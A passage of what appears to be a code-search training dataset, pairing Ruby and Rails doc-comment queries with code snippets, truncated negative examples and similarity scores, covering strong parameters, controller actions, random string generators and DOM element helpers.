"negatives"
]
]
}
} | [
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_... | [
"0.61642385",
"0.60448",
"0.5945487",
"0.5915654",
"0.58890367",
"0.58330417",
"0.5776098",
"0.5703048",
"0.5703048",
"0.5654613",
"0.5620029",
"0.5423114",
"0.540998",
"0.540998",
"0.540998",
"0.5393666",
"0.53783023",
"0.53568405",
"0.53391176",
"0.5339061",
"0.53310865",
... | 0.0 | -1 |
Never trust parameters from the scary internet, only allow the white list through. | def booking_params
params.require(:booking).permit(:start_day, :end_day, :hikers_nb, :user_id, :refuge_id, :status, :payment, :amount)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n... | [
"0.6978086",
"0.6780264",
"0.6742658",
"0.6738813",
"0.67338693",
"0.65908474",
"0.6501793",
"0.6495506",
"0.64796513",
"0.64755446",
"0.6454826",
"0.6437561",
"0.6377127",
"0.63722163",
"0.6364058",
"0.63178706",
"0.62979764",
"0.62968165",
"0.62913024",
"0.6289789",
"0.6289... | 0.0 | -1 |
GET /drink_histories GET /drink_histories.json | def index
@drink_histories = DrinkHistory.first(100)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def index\n @dating_histories = DatingHistory.all\n end",
"def index\n @fundamentals_histories = @company.fundamentals_histories.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @fundamentals_histories }\n end\n end",
"def index\n @harvest_hi... | [
"0.68280524",
"0.6522909",
"0.65060836",
"0.6467068",
"0.6465715",
"0.642295",
"0.6363149",
"0.63112324",
"0.630969",
"0.6288938",
"0.62763315",
"0.6249616",
"0.6244707",
"0.62099266",
"0.62099266",
"0.6190358",
"0.61620957",
"0.61407816",
"0.61407816",
"0.6122387",
"0.612164... | 0.7491866 | 0 |
GET /drink_histories/1 GET /drink_histories/1.json | def show
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def index\n @drink_histories = DrinkHistory.first(100)\n end",
"def index\n @dating_histories = DatingHistory.all\n end",
"def show\n @historial_odt = HistorialOdt.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @historial_odt }\n ... | [
"0.74388236",
"0.65753454",
"0.65429807",
"0.6445726",
"0.6398845",
"0.63431",
"0.63318694",
"0.631393",
"0.6284165",
"0.6238534",
"0.61824745",
"0.6177667",
"0.61608744",
"0.61522144",
"0.61273295",
"0.6127284",
"0.6123264",
"0.61196095",
"0.61150074",
"0.6106722",
"0.610672... | 0.0 | -1 |
Use callbacks to share common setup or constraints between actions. | def set_drink_history
@drink_history = DrinkHistory.find(params[:id])
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_... | [
"0.61642385",
"0.60448",
"0.5945487",
"0.5915654",
"0.58890367",
"0.58330417",
"0.5776098",
"0.5703048",
"0.5703048",
"0.5654613",
"0.5620029",
"0.5423114",
"0.540998",
"0.540998",
"0.540998",
"0.5393666",
"0.53783023",
"0.53568405",
"0.53391176",
"0.5339061",
"0.53310865",
... | 0.0 | -1 |
Never trust parameters from the scary internet, only allow the white list through. | def drink_history_params
params.require(:drink_history).permit(:user_id, :beer_id)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n... | [
"0.6978086",
"0.6780264",
"0.6742658",
"0.6738813",
"0.67338693",
"0.65908474",
"0.6501793",
"0.6495506",
"0.64796513",
"0.64755446",
"0.6454826",
"0.6437561",
"0.6377127",
"0.63722163",
"0.6364058",
"0.63178706",
"0.62979764",
"0.62968165",
"0.62913024",
"0.6289789",
"0.6289... | 0.0 | -1 |
Dump tinc element information into a Hash | def dump_element( element, max_keys=0 )
raw_elements = %x(#{tinc_cmd} dump #{element}).split("\n") || []
elements = {}
raw_elements.each do |raw_element|
element = raw_element.split(' ', 2)
element_name = element.first.to_sym
element_info = element.last.split(' ', max_keys*2)
elements[element_name] = Hash[*element_info]
end
elements
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def element_hash\n # Construct string with basic element attributes\n string = \"#{@number}\\n#{@symbol}\\n#{@name}\\n#{rounded_weight}\\n\"\n { string: string, xpos: @xpos, ypos: @ypos }\n end",
"def hash\n element.hash\n end",
"def hash\n @elements.hash\n end",
"def hash\n @element... | [
"0.6362345",
"0.63412404",
"0.62608796",
"0.62608796",
"0.61786073",
"0.56693274",
"0.56063557",
"0.5585422",
"0.55698353",
"0.5527301",
"0.5517778",
"0.5512418",
"0.5508644",
"0.5492174",
"0.5491314",
"0.54836786",
"0.5474705",
"0.54590696",
"0.54485255",
"0.54435706",
"0.54... | 0.61336064 | 5 |
Returns a random string made up of alpha characters. | def gen_alpha(length = 10)
positive_int! length
gen_string_from_letters length, ASCII_LETTERS
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def random_string\n (0...100).map { (\"a\"..\"z\").to_a[rand(26)] }.join\n end",
"def random_string\n (0...100).map { (\"a\"..\"z\").to_a[rand(26)] }.join\n end",
"def rand_text_alpha(length, bad=payload_badchars)\n if debugging?\n rand_text_debug(length)\n else\n Rex::Text.rand... | [
"0.83259404",
"0.83259404",
"0.81418896",
"0.8126729",
"0.80829316",
"0.8020845",
"0.7971449",
"0.7861909",
"0.77474564",
"0.77290684",
"0.7726197",
"0.76848894",
"0.76826453",
"0.75484353",
"0.7540011",
"0.7530717",
"0.7521856",
"0.7479472",
"0.74568343",
"0.7454985",
"0.743... | 0.7741884 | 9 |
Returns a random string made up of alpha and numeric characters. | def gen_alphanumeric(length = 10)
positive_int! length
gen_string_from_letters length, ALPHANUMERIC
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def random_alphanumeric\n (1..10).collect { ALPHANUMERIC[rand(ALPHANUMERIC.size)] }.join\n end",
"def random_string\n (0...100).map { (\"a\"..\"z\").to_a[rand(26)] }.join\n end",
"def random_string\n (0...100).map { (\"a\"..\"z\").to_a[rand(26)] }.join\n end",
"def random_string\n lett... | [
"0.84818834",
"0.83538216",
"0.83538216",
"0.8217366",
"0.8047053",
"0.80191994",
"0.7852199",
"0.7844536",
"0.777347",
"0.7723818",
"0.7721645",
"0.7686596",
"0.762912",
"0.7625341",
"0.7624627",
"0.759319",
"0.7590422",
"0.75353044",
"0.75110984",
"0.7509962",
"0.75055873",... | 0.75478494 | 17 |
Returns a random string made up of CJK characters. | def gen_cjk(length = 10)
positive_int! length
gen_string_from_cp_range length, CJK_LETTERS_RANGE
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def random_string\n (0...100).map { (\"a\"..\"z\").to_a[rand(26)] }.join\n end",
"def random_string\n (0...100).map { (\"a\"..\"z\").to_a[rand(26)] }.join\n end",
"def random_string\n (0...8).map { (65 + rand(26)).chr }.join\n end",
"def random_string\n\t# generate a bucket of chars for r... | [
"0.67679465",
"0.67679465",
"0.6570356",
"0.65340346",
"0.65026534",
"0.6489726",
"0.64194",
"0.64005554",
"0.6394129",
"0.6336995",
"0.6322186",
"0.6307795",
"0.6305957",
"0.6288326",
"0.6259776",
"0.62261605",
"0.61608547",
"0.6110748",
"0.6109712",
"0.6103805",
"0.60936403... | 0.74245846 | 0 |
Returns a random string made up of UTF8 characters. (Font: Wikipedia Latin1 Supplement Unicode Block) | def gen_latin1(length = 10)
positive_int! length
gen_string_from_letters length, LATIN_LETTERS
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def random_string\n (0...8).map { (65 + rand(26)).chr }.join\n end",
"def randomString\r\n\t(0...8).map{(65+rand(26)).chr}.join\r\nend",
"def random_string\n\t# generate a bucket of chars for randomization\n\tbucket = [('a'..'z'),('A'..'Z'),(0..9)].map{|i| i.to_a}.flatten\n\t # pick random chars from the ... | [
"0.7299134",
"0.70716494",
"0.6852068",
"0.6819695",
"0.6781812",
"0.674677",
"0.674677",
"0.6726341",
"0.66657466",
"0.66544026",
"0.66382295",
"0.6636817",
"0.6630327",
"0.65925735",
"0.64977753",
"0.6492626",
"0.6489653",
"0.6388824",
"0.6359347",
"0.6355243",
"0.62723583"... | 0.61291283 | 26 |
Returns a random string made up of Cyrillic characters. | def gen_cyrillic(length = 10)
positive_int! length
gen_string_from_cp_range length, CYRILLIC_LETTERS_RANGE
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def random_string\n (0...100).map { (\"a\"..\"z\").to_a[rand(26)] }.join\n end",
"def random_string\n (0...100).map { (\"a\"..\"z\").to_a[rand(26)] }.join\n end",
"def random_string\n (0...8).map { (65 + rand(26)).chr }.join\n end",
"def random_string\n\t# generate a bucket of chars for r... | [
"0.6758764",
"0.6758764",
"0.66871196",
"0.65618217",
"0.6507102",
"0.6365165",
"0.62863994",
"0.6182161",
"0.61560845",
"0.6121296",
"0.61128235",
"0.6112231",
"0.6100588",
"0.6086659",
"0.606704",
"0.6052477",
"0.60290617",
"0.6001674",
"0.5936699",
"0.5910482",
"0.59023976... | 0.6817284 | 0 |
Returns a random string made up of numbers. | def gen_numeric_string(length = 10)
positive_int! length
gen_string_from_letters length, DIGITS
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def random_num_string(len = 2, str = \"\")\n len.times { str << pick_range('0'..'9')}\n str\n end",
"def random_num_string(len = 2, str = \"\")\n len.times { str << pick_range('0'..'9')}\n str\n end",
"def gen_numstr(seeds, length)\n ((length/2) + 1).times.map{\n seeds.sampl... | [
"0.81240445",
"0.8122785",
"0.76566565",
"0.75691843",
"0.7557012",
"0.7531494",
"0.7468711",
"0.7447039",
"0.74446076",
"0.73575586",
"0.73575586",
"0.72832227",
"0.7216951",
"0.7210447",
"0.71734995",
"0.71603996",
"0.71589273",
"0.7151505",
"0.7140886",
"0.7137778",
"0.713... | 0.72000724 | 14 |
Returns a random string made up of html characters. | def gen_html(length = 10)
positive_int! length
html_tag = HTML_TAGS.sample
"<#{html_tag}>#{gen_alpha(length)}</#{html_tag}>"
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def random_string\n (0...8).map { (65 + rand(26)).chr }.join\n end",
"def random_string\n letters = [['!','\"','$','&',';','@'],\n ('a'..'z').to_a,\n ('A'..'Z').to_a,\n ('0'..'9').to_a].flatten\n (1..16).map { |i| letters[ rand(letters.length) ] }.join\n end",... | [
"0.67664117",
"0.66905123",
"0.6681952",
"0.6676637",
"0.6655174",
"0.65941745",
"0.656311",
"0.65180266",
"0.6512548",
"0.6512548",
"0.6501243",
"0.6455961",
"0.64197683",
"0.64162105",
"0.6415915",
"0.6404563",
"0.63548684",
"0.6340302",
"0.63066053",
"0.6263859",
"0.625244... | 0.694095 | 0 |
A simple wrapper that calls other string generation methods. | def gen_string(str_type, length = 10)
raise ArgumentError, "str_type: #{str_type} not supported" unless RFauxFactory::STRING_TYPES.key?(str_type)
send(RFauxFactory::STRING_TYPES[str_type], length)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def string(*) end",
"def string() end",
"def str2; end",
"def str2; end",
"def my_string\n 'Hello World'\nend",
"def string()\n #This is a stub, used for indexing\n end",
"def my_string\n'Hello World'\nend",
"def string=(_arg0); end",
"def greet\n \"#{hello} #{world}\"\nend",
"def str... | [
"0.7020317",
"0.6926159",
"0.66812164",
"0.66812164",
"0.6633528",
"0.6629852",
"0.6618705",
"0.6481444",
"0.63488215",
"0.63344264",
"0.63344264",
"0.6310742",
"0.6310742",
"0.6278415",
"0.6265516",
"0.6242776",
"0.6242776",
"0.6242776",
"0.6242776",
"0.6242776",
"0.6242776"... | 0.6176224 | 28 |
Generates a list of different input strings. | def gen_strings(length = 10, exclude: [])
positive_int_or_range! length
raise TypeError, 'exclude must be an Array' unless exclude.is_a?(Array)
str_types = RFauxFactory::STRING_TYPES.keys.reject { |str_type| exclude.include?(str_type) }
str_types.map do |str_type|
str_length = length.is_a?(Range) ? rand(length) : length
[str_type, gen_string(str_type, str_length)]
end.to_h
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def generate_list(name, count); end",
"def generate(num = 100)\n\t\tresults = []\n\t\t1.upto(num) { results << mangle_word(pick_a_word) }\n\t\tresults\n\tend",
"def genStr strLen\nsortedAlphabet = @alphabet.sort\nresultStrs = [ ]\ntestStrings = [ ]\ntestStrings[0] = []\ntestStrings[0].push \"\"\n1.upto(strLen.... | [
"0.627254",
"0.6114912",
"0.6004988",
"0.5969985",
"0.59627813",
"0.58302146",
"0.5806684",
"0.5800252",
"0.5794084",
"0.57810026",
"0.5729436",
"0.5708889",
"0.5708053",
"0.5704576",
"0.56894386",
"0.56819296",
"0.5664465",
"0.5661886",
"0.5660259",
"0.5647326",
"0.5644814",... | 0.60500735 | 2 |
Return a random Boolean value. | def gen_boolean
[true, false].sample
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def random_boolean\n [true, false].sample\nend",
"def random_boolean\r\n return Random.rand >= 0.5\r\n end",
"def random\n return [true, false].sample\nend",
"def random?\n result = [true, false].sample\n puts result\n result\nend",
"def random\n result = [true, false].sample\n result\nend",
"... | [
"0.860916",
"0.84084684",
"0.8207277",
"0.81778276",
"0.81565523",
"0.81565523",
"0.81565523",
"0.8150873",
"0.8150873",
"0.8150873",
"0.80538106",
"0.7726407",
"0.7610412",
"0.73063844",
"0.7264935",
"0.71922004",
"0.6746741",
"0.663238",
"0.6629599",
"0.65467393",
"0.654673... | 0.8257653 | 2 |
038 The 3 commented out lines below are for test purposes on rails console. As long as grid_letters has the > than or = amount of alphabets as user_letters, the function should return true. I'll need to check if its a valid word next! 39 is ABOVE. user_letters = ["t", "e", "s", "t"] grid_letters = ["t", "a", "b", "e", "h", "s", "y", "t"] | def included?(user_letters, grid_letters)
user_letters.all? { |letter| user_letters.count(letter) <= grid_letters.count(letter) }
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def word_in_the_grid?(attempt, grid)\n attempt_array = attempt.upcase.split('')\n attempt_array.each do |letter|\n return false if attempt_array.count(letter) > grid.count(letter)\n return false unless grid.include? letter\n end\n true\n end",
"def uses_available_letters? (input, drawn_let... | [
"0.7615074",
"0.72864306",
"0.72532105",
"0.7249695",
"0.7225248",
"0.7033658",
"0.70112413",
"0.7009166",
"0.6976977",
"0.69742745",
"0.6961619",
"0.6932593",
"0.69160825",
"0.6837506",
"0.6826792",
"0.6791281",
"0.6784733",
"0.677658",
"0.674664",
"0.67306054",
"0.6661875",... | 0.7525697 | 1 |
included?(user_letters, grid_letters) 040 A function that sends the user word to a dictionary to check if its a valid word. MOVE 2 'score.html.erb' | def valid_word?(user_word)
response = open("https://wagon-dictionary.herokuapp.com/#{@user_word}")
json = JSON.parse(response.read)
json['found']
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def score\n @attempt = params[:word]\n @letters_list = params[:letters]\n @not_in_grid = \"Sorry but #{@attempt} can't be built out of #{@letters_list}\"\n @not_english = \"Sorry but #{@attempt} does not seem to be a valid English word...\"\n @success = \"Congratulation! #{@attempt} is a valid Engli... | [
"0.74419504",
"0.7426518",
"0.71934086",
"0.70342225",
"0.6889818",
"0.68234074",
"0.6685967",
"0.663148",
"0.6546266",
"0.6486477",
"0.6452319",
"0.6426563",
"0.63390356",
"0.62994534",
"0.62992734",
"0.62369144",
"0.6234785",
"0.62074274",
"0.61944336",
"0.61672574",
"0.616... | 0.0 | -1 |
050 ERROR / After submit, the loading takes 43835ms (43.8 seconds). Still loaded though... 050 MESSAGE / Unpermitted parameters: :user_answer, :time_start. SOLUTION IS ABOVE. 051 A function that returns the result of the game. | def result(user_word, included, valid_word, time_start, time_end)
if included == false # if word doesn't use letters in grid.
return "It looks like you haven't used the letters provided."
elsif valid_word == false # if the letters are included but the word is invalid.
return "Sorry, we can't find the word you provided in the dictionary."
elsif (included == true) && (valid_word == true) # if its a valid word then return the score based on the WordLength/Time
score = ((user_word.length / (time_end - time_start)) * 100).round(0)
return "Your word \"#{user_word}\"<br>is #{score} points!"
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def question_results\n result = params[:result]\n @result = result\n game_id = params[:game_id]\n subject = params[:subject_title]\n @current_game = Game.find(game_id)\n @current_game.save!\n\n if @current_game.active? && @current_game.players_turn?(current_user.id)\n @current_game.game_s... | [
"0.67753524",
"0.66538537",
"0.6622596",
"0.6510983",
"0.65028024",
"0.64522886",
"0.6402995",
"0.6385991",
"0.6329122",
"0.63150334",
"0.6312903",
"0.62520677",
"0.6227241",
"0.6183473",
"0.61774665",
"0.6156341",
"0.6112586",
"0.6110673",
"0.61013585",
"0.6099983",
"0.60934... | 0.0 | -1 |
Just to help out with testing | def host_details_serialized
JSON.parse(host_details)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def private; end",
"def specie; end",
"def specie; end",
"def specie; end",
"def specie; end",
"def spec; end",
"def spec; end",
"def probers; end",
"def schubert; end",
"def weber; end",
"def identify; end",
"def internship_passed; end",
"def setup; end",
"def setup; end",
"def setup; ... | [
"0.7333541",
"0.6720433",
"0.6720433",
"0.6720433",
"0.6720433",
"0.66643405",
"0.66643405",
"0.6600588",
"0.63345546",
"0.6317885",
"0.6150292",
"0.614288",
"0.6120221",
"0.6120221",
"0.6120221",
"0.6120221",
"0.6120221",
"0.6120221",
"0.6120221",
"0.6120221",
"0.6120221",
... | 0.0 | -1 |
Check whether the element matches the given selector. | def =~(selector)
Element.native_matches?(@native, selector)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def matches?(selector); end",
"def matches?(selector); end",
"def selector_exists?(selector, &block)\n find_selector(selector, &block) != nil\n end",
"def matches(selector)\n %x{\n var proto = Element.prototype\n var matches = proto.matchesSelector ||\n proto.mozMatchesSelector ... | [
"0.7664083",
"0.7664083",
"0.75057626",
"0.74930197",
"0.74930197",
"0.7102665",
"0.689167",
"0.6750474",
"0.6702",
"0.6683967",
"0.65567183",
"0.6296595",
"0.6198283",
"0.61662376",
"0.61218023",
"0.6114405",
"0.61125314",
"0.60600615",
"0.60556287",
"0.6051621",
"0.6051621"... | 0.7823234 | 0 |
Query for children with the given XPpaths. | def /(*paths)
NodeSet[paths.map { |path| xpath(path) }]
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def children(*args)\n self.class.send(:with_scope, :find=>{:conditions=>['parent_node_id=?', self.child_node_id]}) do\n self.class.find(:all, *args)\n end\n end",
"def multiple_children(paths)\n end",
"def children(path)\n # r = nil\n # zk_call do\n # r = @zk.get_child... | [
"0.6618154",
"0.65402",
"0.6315386",
"0.61886597",
"0.61880666",
"0.61780506",
"0.60615206",
"0.6019501",
"0.5997569",
"0.59101653",
"0.5896688",
"0.5872862",
"0.5826856",
"0.57982284",
"0.57352644",
"0.57221335",
"0.5690881",
"0.56870383",
"0.5650659",
"0.56505173",
"0.56494... | 0.52865505 | 47 |
Get the attribute with the given name. | def [](name, options = {})
attributes.get(name, options)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def get_attribute(name)\n @attributes[name.to_s]\n end",
"def get_attribute(name)\n @attributes[name]\n end",
"def get_attribute(name)\n return @attrs[name] if attrs.key?(name)\n end",
"def read_attribute name\n @attributes[name.to_s]\n end",
"def get_attribute(attr_... | [
"0.9184191",
"0.90891945",
"0.90330255",
"0.88144106",
"0.874659",
"0.8692549",
"0.8635038",
"0.8549423",
"0.82592237",
"0.8205113",
"0.8114421",
"0.8114421",
"0.8106171",
"0.80722857",
"0.80620265",
"0.8050955",
"0.8050955",
"0.8044989",
"0.80448794",
"0.80057627",
"0.800173... | 0.7259116 | 46 |
Set the attribute with the given name and value. | def []=(name, value, options = {})
attributes.set(name, value, options)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_attribute(name, value)\n @attributes[name] = value\n end",
"def set_attr(name, value)\n each_value {|x| x[name] = value }\n end",
"def set_attribute(name, value); end",
"def []=(name, value)\n @attr[name] = value\n end",
"def []=(name, value)\n @attributes[nam... | [
"0.9103467",
"0.90084976",
"0.87529343",
"0.8683792",
"0.8505415",
"0.8476682",
"0.8464876",
"0.8421025",
"0.8407941",
"0.8407608",
"0.8407608",
"0.8407608",
"0.83967346",
"0.83504844",
"0.8262839",
"0.8213054",
"0.8203889",
"0.8202467",
"0.81530523",
"0.8101909",
"0.8092365"... | 0.80174583 | 26 |
Add class names to the element. | def add_class(*names)
classes = class_names + names
unless classes.empty?
`#@native.className = #{classes.uniq.join ' '}`
end
self
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def add_class class_name\n each do |el|\n next unless el.respond_to? :get_attribute\n classes = el.get_attribute('class').to_s.split(\" \")\n el.set_attribute('class', classes.push(class_name).uniq.join(\" \"))\n end\n self\n end",
"def add_class(class_name)\n @fragmen... | [
"0.8417173",
"0.75613695",
"0.74824744",
"0.74824744",
"0.7472397",
"0.7448034",
"0.7346201",
"0.7278444",
"0.7278444",
"0.72733796",
"0.72621447",
"0.72076166",
"0.6846751",
"0.6674268",
"0.6671296",
"0.66270113",
"0.6570536",
"0.6561067",
"0.65592957",
"0.6538544",
"0.65381... | 0.7350801 | 6 |
Get the first node that matches the given CSS selector or XPath. | def at(path_or_selector)
xpath(path_or_selector).first || css(path_or_selector).first
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def find_first(xpath, nslist = nil)\n find(xpath, nslist).first\n end",
"def find_first(selector, data)\n data = @data unless data\n results = (data/selector)\n if results and results.first\n results.first.inner_html.strip\n else\n nil\n end\n end",
"def find(selector)\n ... | [
"0.7010792",
"0.6927323",
"0.6901024",
"0.68302387",
"0.67845964",
"0.67494345",
"0.6454156",
"0.6451371",
"0.63700867",
"0.6314601",
"0.62028855",
"0.618992",
"0.6155105",
"0.61486286",
"0.61221004",
"0.61111856",
"0.6053878",
"0.5992799",
"0.5935192",
"0.5890065",
"0.586026... | 0.74929655 | 0 |
Get the first node matching the given CSS selectors. | def at_css(*rules)
result = nil
rules.each {|rule|
if result = css(rule).first
break
end
}
result
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def find! css_selector\n res = find(css_selector)\n raise \"Selector(#{css_selector}) returned no results!\" unless res\n res\n end",
"def node_css_selector(node)\n return nil if node.nil?\n\n # Use the CSS id if one is set\n return \"##{node['id']}\" if node['id']\n\n # Default Nokogiri se... | [
"0.65641576",
"0.6475189",
"0.6406732",
"0.63525176",
"0.6318831",
"0.62723285",
"0.6215063",
"0.6166866",
"0.60804",
"0.6034558",
"0.6020531",
"0.59515727",
"0.5919433",
"0.5910182",
"0.5890658",
"0.56701946",
"0.5655493",
"0.56334007",
"0.5630465",
"0.5623695",
"0.56008506"... | 0.6372067 | 3 |
Get the first node matching the given XPath. | def at_xpath(*paths)
result = nil
paths.each {|path|
if result = xpath(path).first
break
end
}
result
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def extract_first_node(xpath, node = xml, namespaces = DEFAULT_NAMESPACES) \n _extract_nodes(:first, xpath, node, namespaces)\n end",
"def find_first(xpath, nslist = nil)\n find(xpath, nslist).first\n end",
"def xpath_first(from_root_node, path)\n REXML::XPath.first(from_root_node, path)... | [
"0.79647994",
"0.7845215",
"0.7533944",
"0.71761334",
"0.71517",
"0.7082686",
"0.70780295",
"0.6979281",
"0.6706052",
"0.6676217",
"0.66648704",
"0.6332472",
"0.62826735",
"0.6276959",
"0.62597233",
"0.6240572",
"0.6155812",
"0.61343193",
"0.6130006",
"0.600505",
"0.59852767"... | 0.6503013 | 11 |
Query for children matching the given CSS selector. | def css(selector)
raise NotImplementedError, 'query by CSS selector unsupported'
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def query_selector_all(selector)\n document.query_selector_all selector\n end",
"def find_in_children(*args)\n child = nil\n Capybara.current_session.within(element) do\n child = self.class.new(:child, *args)\n child.element\n end\n\n child\n end",
"def find_all(sel... | [
"0.6460769",
"0.6385777",
"0.63033444",
"0.62616086",
"0.62072605",
"0.61691535",
"0.6105708",
"0.6102965",
"0.5917499",
"0.59140646",
"0.5862484",
"0.58144736",
"0.5763012",
"0.5706229",
"0.56803197",
"0.56358856",
"0.56124145",
"0.5600277",
"0.55892515",
"0.55703825",
"0.55... | 0.533836 | 29 |
Click the element. it fires the element's click event. | def click
`#@native.click()`
self
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def click(driver = $focus_driver)\r\n begin\r\n driver.find_element(self).click\r\n Log.info(\"Element clicked #{self.how} => #{self.what}\")\r\n rescue StandardError => e\r\n Log.fail(\"Element not clicked #{self.how} => #{self.what}\" + e.message)\r\n end\r\n end",
"def on_click(elem)\... | [
"0.7941502",
"0.7823945",
"0.7637481",
"0.760593",
"0.7421043",
"0.740068",
"0.73759776",
"0.73631793",
"0.7246927",
"0.7201121",
"0.7102807",
"0.70962864",
"0.7009745",
"0.70016927",
"0.69907963",
"0.69907963",
"0.69907963",
"0.69814605",
"0.6976918",
"0.6950351",
"0.6935895... | 0.68759423 | 25 |
Set the inner DOM with the given node. (see append_child) | def inner_dom=(node)
clear
self << node
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def inner_dom= element\n clear\n append element\n end",
"def set_outer_html(node_id:, outer_html:)\n {\n method: \"DOM.setOuterHTML\",\n params: { nodeId: node_id, outerHTML: outer_html }.compact\n }\n end",
"def setAttributeNode(newAttr)\n ret = getAttr... | [
"0.7012962",
"0.6252263",
"0.60613936",
"0.603813",
"0.5983635",
"0.5938302",
"0.5904458",
"0.5904458",
"0.58742577",
"0.5852204",
"0.5849085",
"0.58006215",
"0.5680294",
"0.56662154",
"0.5588957",
"0.54668146",
"0.54559106",
"0.54559106",
"0.54098195",
"0.54098195",
"0.53953... | 0.79268605 | 0 |
Search for all the children matching the given XPaths or CSS selectors. | def search(*selectors)
NodeSet.new selectors.map {|selector|
xpath(selector).to_a.concat(css(selector).to_a)
}.flatten.uniq
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def children(*args)\n self.class.send(:with_scope, :find=>{:conditions=>['parent_node_id=?', self.child_node_id]}) do\n self.class.find(:all, *args)\n end\n end",
"def find_in_children(*args)\n child = nil\n Capybara.current_session.within(element) do\n child = self.class.new... | [
"0.65845835",
"0.65583915",
"0.6530511",
"0.6329452",
"0.6234874",
"0.6199393",
"0.61981225",
"0.61828184",
"0.6129961",
"0.60651654",
"0.6053586",
"0.60369813",
"0.60260695",
"0.60063535",
"0.59911937",
"0.5952748",
"0.5940592",
"0.5923145",
"0.5920125",
"0.5883223",
"0.5865... | 0.607642 | 9 |
Creates or accesses the shadow root of this element | def shadow (open = true)
if root = `#@native.shadowRoot`
DOM(root)
else
DOM(`#@native.attachShadow({mode: #{open ? "open" : "closed"}})`)
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def shadow_root; end",
"def expand_root_element(element_name)\n @browser.execute_script(\"return arguments[0].shadowRoot\", element_name)\nend",
"def shadow_store\n (@_shadow_stores ||= doc.xpath(\"/html/body/div[@id='shadowArea']\")).first\n end",
"def _shadow_layer\n @_shadow_layer ||= begin\n ... | [
"0.6701111",
"0.6596216",
"0.649339",
"0.5840399",
"0.56965816",
"0.55753106",
"0.552406",
"0.5441527",
"0.5414426",
"0.5380277",
"0.5357939",
"0.52107257",
"0.5210609",
"0.52002114",
"0.5191653",
"0.51883125",
"0.5173599",
"0.505986",
"0.5054371",
"0.50197613",
"0.50114346",... | 0.6971874 | 0 |
Checks for a presence of a shadow root of this element | def shadow?
